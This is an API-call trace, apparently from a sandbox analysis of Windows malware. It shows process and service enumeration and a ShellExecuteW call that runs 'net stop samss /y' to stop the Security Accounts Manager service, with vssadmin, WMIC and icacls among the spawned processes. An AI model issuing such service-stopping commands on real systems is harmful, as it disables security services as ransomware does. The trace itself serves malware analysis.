	[0232.384] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0232.387] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0232.390] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0232.394] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0232.397] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0232.400] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0232.403] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0232.406] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0233.098] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0235.075] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0235.078] CloseHandle (hObject=0x708) returned 1
	[0235.080] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2c0570
	[0235.147] EnumServicesStatusW (in: hSCManager=0x2c0570, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 0
	[0235.154] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0235.156] EnumServicesStatusW (in: hSCManager=0x2c0570, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x17b5, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 1
	[0235.158] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0243.352] Sleep (dwMilliseconds=0x96) 
	[0244.610] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.072] Sleep (dwMilliseconds=0xc350) 
	[0257.030] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x85c
	[0258.270] Process32FirstW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0258.273] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0258.276] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0258.278] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.281] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0258.283] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.285] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0258.288] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0258.291] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0258.294] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0258.296] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.298] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.301] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.303] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.430] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.433] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.435] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.438] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0258.440] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0258.442] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0258.445] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0258.448] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.450] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.453] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0258.456] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.458] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0259.630] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0259.633] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0259.635] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0259.637] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0259.640] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0259.642] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0259.645] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0259.647] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0259.649] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0259.651] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0259.654] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0259.656] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0259.658] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0259.660] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0259.838] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0259.859] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0259.862] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0259.864] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0259.867] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0259.870] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0259.872] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0259.874] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0259.877] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0259.879] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0259.882] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0259.885] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0259.887] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0259.889] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0259.892] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0259.894] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0260.084] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0260.086] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0260.089] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0260.092] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0260.095] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0260.099] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0260.101] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0260.104] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0260.106] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0260.109] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0260.112] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
